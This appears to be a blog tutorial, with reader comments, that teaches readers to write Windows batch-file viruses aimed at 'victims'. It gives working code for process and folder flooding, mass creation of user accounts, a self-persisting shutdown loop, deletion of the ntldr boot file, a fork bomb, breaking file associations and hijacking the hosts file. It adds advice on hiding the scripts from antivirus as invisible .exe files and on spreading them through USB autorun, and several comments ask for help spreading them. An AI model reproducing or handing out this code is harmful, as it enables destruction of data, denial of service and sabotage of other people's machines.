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Posted by Aneesh M. Makker at 1:23 AM / Categories: malicious, viruses, windows /

I could just you give the codes to paste in notepad and ask you to save files with extension .bat and your deadly batch viruses would be ready. But instead of that, I have focussed on making the basics of

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batch files clear and developing the approach to code your own viruses.

What are Batch Files ?

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Lets begin with a simple example , Open your command prompt

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and change your current directory to 'desktop' by typing 'cd desktop' without quotes.

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Popular Posts We first make a folder/directory 'x', then enter in folder 'x',then make a folder 'y' in folder 'x' . Now delete the folder 'x'.

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Lets do the same thing in an other way. Copy these three commands in notepad and save file

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Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we ran the batch file

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So a batch file is simply a text containing series of commands which are executed

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What can batch viruses do ?

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They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU

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resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

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Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files). Note: Type 'help' in command prompt to k now about some basic commands and to k now about using a particular command , type 'command_name /?' without quotes. 1. Application Bomber @echo off // It instructs to hide the commands when batch files is executed :x //loop variable start winword start mspaint //open paint start notepad start write start cmd //open command prompt start explorer start control start calc // open calculator goto x // infinite loop This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance. 2. Folder flooder @echo off :x md %random% // mak es directory/folder. goto x Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number. 3.User account flooder @echo off :x net user %random% /add //create user account goto x This code would start creating windows user accounts whose names could be any random numbers. 3.Shutdown Virus copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup” copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”

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commands will copy the batchfile in start up folders (in XP)

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Batch Files - the art of creating viruses| Ethical Hacking Tutorials | How to hack shutdown -s -t 00 //this will shutdown the computer in 0 seconds Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder. 4. Deleting boot files Goto C drive in Win XP , Tools->Folder Option->View Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.

Lets make a batch file to delete this file from victim's computer and the windows will not start then. attrib -S -R -H C:\ntldr del ntldr

// -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively

//delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again.

5. Fork Bomb %0|%0 //Its percentage zero pipe percentage zero This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

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6. Extension Changer @echo off assoc .txt=anything // this command associates extension .txt with filetype anything. assoc .exe=anything assoc .jpeg=anything assoc .png=anything assoc .mpeg=anything

Every extension is associated with a filetype like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt. Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.

7. DNS Poisoning There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file. @echo off echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file. Replace xxx.xxx.xxx.xxx and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he wud try to log on to specific website or u can simply block any website by entering its name and any invalid IP address. V iruses we just coded

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Note : Most of the batch viruses are simply undetectable by any anitiviruses Tip : Coding good viruses just depends on the DOS commands you k now and logic you use. Limitations of Batch Viruses -: 1.Victim can easily read the commands by opening batch file in notepad. 2.The command prompt screen pops up,it alerts the victim and he can stop it. To overcome these limitations,we need to convert these batch files into executable files that is exe files. Download this Batch To Exe coverter from here. After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.

You can use other options as per your requirement. Spreading batch viruses through pen drive -: Step 1. Open notepad and write [autorun] open=anything.bat Icon=anything.ico Save file as ‘autorun.inf’ Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

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Batch Files - the art of creating viruses| Ethical Hacking Tutorials | How to hack When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

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Jesse Posted at: January 13, 2011 at 1:46 PM

haha I remember doing the NTLDR removal trick on a buddy of mine like 3 years ago, he was like."umm, dude... my computer wont boot up. What do I do?" I replied with, "You get a really big elephant and get it to step on your computer." :P

Divyam Makker Posted at: February 8, 2011 at 11:30 AM

I've Got Another Nice idea to make these batch files undetectable... Google "batch file to exe converter" it converts your batch file to .exe software and no anti-virus detects it as virus !! \m/ ;Divyam

Aneesh M. Makker Posted at: February 8, 2011 at 8:32 PM

I have provided the same thing in article. I think you dint read the full article. :)

bongs Posted at: February 22, 2011 at 3:40 AM

im having a problem changing the directory to destop...if i open the command prompt and type "cd desktop" it says the system cannot find the path specified

Aneesh M. Makker Posted at: February 22, 2011 at 4:10 AM

In windows XP you are by defalut at one directory above desktop, but not in windows 7. So give full path cd C:\users\account_name\desktop

deathprogrammmer Posted at: March 6, 2011 at 7:26 PM

EXCELLENT compilation!!

Anonymous Posted at: March 24, 2011 at 9:33 PM

DNS poisoning is not working ..After creating .bat files when i run them they did not run and the others which run gives the problem that the application has failed to initialize properly(0x0000142).click ok to terminate.. plzz sir help wat is the problem????

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Batch Files - the art of creating viruses| Ethical Hacking Tutorials | How to hack Anonymous Posted at: June 8, 2011 at 12:07 AM

I had deleted ntldr. what to do now to get it back an run my pc? I don't want to format it. Plz help me Plz help

Anonymous Posted at: July 2, 2011 at 8:55 AM

If u delete ur ntldr. then first copy this file from any other winows system. Then keep this in usb. In ur system boot any ( I prefer ubuntu) linux live cd.Dont install that. Just boot from live cd. When u see ubuntu desktop . U can find ur partitions of windows theire. then find ur coorect folder in c drive. paste ntdlr and reboot sysyem. Remove linux cd. You can see ur old windows.

Anonymous Posted at: July 6, 2011 at 5:52 AM

autorun is not working plz help..

Anonymous Posted at: January 19, 2012 at 11:39 AM

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Anonymous Posted at: February 3, 2012 at 3:33 PM

Very nice website, keep up with the good work man It will be very nice if you wrote a topic about the way antiviruses works, you know signatures and that kind of stuff, and if you know some ways to trick them

Anonymous Posted at: February 28, 2012 at 9:16 AM

spreading of virus is not working ????????

Anonymous Posted at: March 8, 2012 at 7:41 AM

Autorun is not working!!!

Anonymous Posted at: July 31, 2012 at 11:51 AM

hello...i lkove this website helped me alot with everything...when i write in notepad lets say start(wich open cmd)and i save it as all filles with the extension .batch...and i want to open the file it says that i must choose a program from a list.can you please help me?i would appreciate it alot

Lokesh Daiya Posted at: October 12, 2012 at 12:56 AM

copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup” copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” both command not working neither in bat file nor cmd and also i try for windows 7 using copy anything.bat %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

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Anonymous Posted at: October 14, 2012 at 9:32 AM

Nice compilation of codes ^^

anugrah balakrishnan Posted at: January 2, 2013 at 2:53 AM

can you tell me how to eat up our hard drives memory space??:)

Anonymous Posted at: January 2, 2013 at 7:17 PM

Hello, I wrote and ran the Extension Changer virus (double clicked by mistake) and as you can assume, all me files were screwed. I managed to boot up in safe mode and change everything except for the executables. I did that by typing assoc in safe modes cmd and then I found all of the file extensions affected and wrote down the correct ones. Then I changed them with the following: assoc .filetype=.file_extension. This worked for everything except my executables. Please help me, and sorry for writing so much. I just want to be sure that I gave enough info.

Anonymous Posted at: January 4, 2013 at 11:32 AM

Ok So If I am putting the file in a pen drive do i have to convert it and save it as an .exe file?

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